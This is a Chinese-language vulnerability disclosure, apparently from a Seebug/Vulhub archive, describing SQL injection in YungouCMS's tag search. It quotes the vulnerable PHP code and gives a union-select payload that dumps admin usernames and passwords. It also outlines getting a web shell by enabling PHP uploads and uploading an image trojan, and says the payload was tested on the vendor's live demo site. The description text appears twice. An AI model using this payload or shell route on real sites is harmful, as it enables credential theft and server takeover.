VULHUB ™

### 简要描述： 官网 : http://www.yungoucms.com/ 演示站: http://www.yungoucms.cn/ 商品搜索可以构建SQL语句！ http://www.yungoucms.cn/?/s_tag/ public function tag(){ $search =$this->segment(4); if(!$search)_message("输入搜索关键字"); $search = urldecode($search); $search = htmlspecialchars($search); if(!_is_utf8($search)){ $search = iconv("GBK", "UTF-8", $search); } $mysql_model=System::load_sys_class('model'); $title=$search.' - '._cfg('web_name'); $shoplist=$mysql_model->GetList("select thumb,id,sid,zongrenshu,canyurenshu,shenyurenshu,money from `@#_shoplist` WHERE `title` LIKE '%".$search."%'"); $list=count($shoplist); include templates("search","search"); } ### 详细说明： http://www.yungoucms.cn/?/s_tag/ 构建SQL语句“yun%%27 union select 1,2,3,group_concat(username),5,6,7 from go_admin%23” 查看网页源文件就能得到用户信息 密码同样道理。 [<img src="https://images.seebug.org/upload/201401/011814385e00a408506d1c730bed8569b4ee0099.jpg" alt="1.jpg" width="600"...

### 简要描述： 官网 : http://www.yungoucms.com/ 演示站: http://www.yungoucms.cn/ 商品搜索可以构建SQL语句！ http://www.yungoucms.cn/?/s_tag/ public function tag(){ $search =$this->segment(4); if(!$search)_message("输入搜索关键字"); $search = urldecode($search); $search = htmlspecialchars($search); if(!_is_utf8($search)){ $search = iconv("GBK", "UTF-8", $search); } $mysql_model=System::load_sys_class('model'); $title=$search.' - '._cfg('web_name'); $shoplist=$mysql_model->GetList("select thumb,id,sid,zongrenshu,canyurenshu,shenyurenshu,money from `@#_shoplist` WHERE `title` LIKE '%".$search."%'"); $list=count($shoplist); include templates("search","search"); } ### 详细说明： http://www.yungoucms.cn/?/s_tag/ 构建SQL语句“yun%%27 union select 1,2,3,group_concat(username),5,6,7 from go_admin%23” 查看网页源文件就能得到用户信息 密码同样道理。 [<img src="https://images.seebug.org/upload/201401/011814385e00a408506d1c730bed8569b4ee0099.jpg" alt="1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201401/011814385e00a408506d1c730bed8569b4ee0099.jpg) [<img src="https://images.seebug.org/upload/201401/011816265ecaed82ab2ae7232e97c7c42a65b687.jpg" alt="1403509ity8tcgfgdygfgd.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201401/011816265ecaed82ab2ae7232e97c7c42a65b687.jpg) 注入出来的账号密码藏入标签里面去了。查看就OK 。 拿到账号密码 至于后台拿shell 可以自己设置上传的类型 添加php后 不过要上传图片马才可以上去。 ### 漏洞证明： http://www.yungoucms.cn/?/s_tag/ yun%%27 union select 1,2,3,group_concat(username),5,6,7 from go_admin%23 [<img src="https://images.seebug.org/upload/201401/0118325561983ffbebee0ca4b4f0019c7e9420cf.jpg" alt="QQ图片20140101183233.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201401/0118325561983ffbebee0ca4b4f0019c7e9420cf.jpg) 直接官方演示站点测试。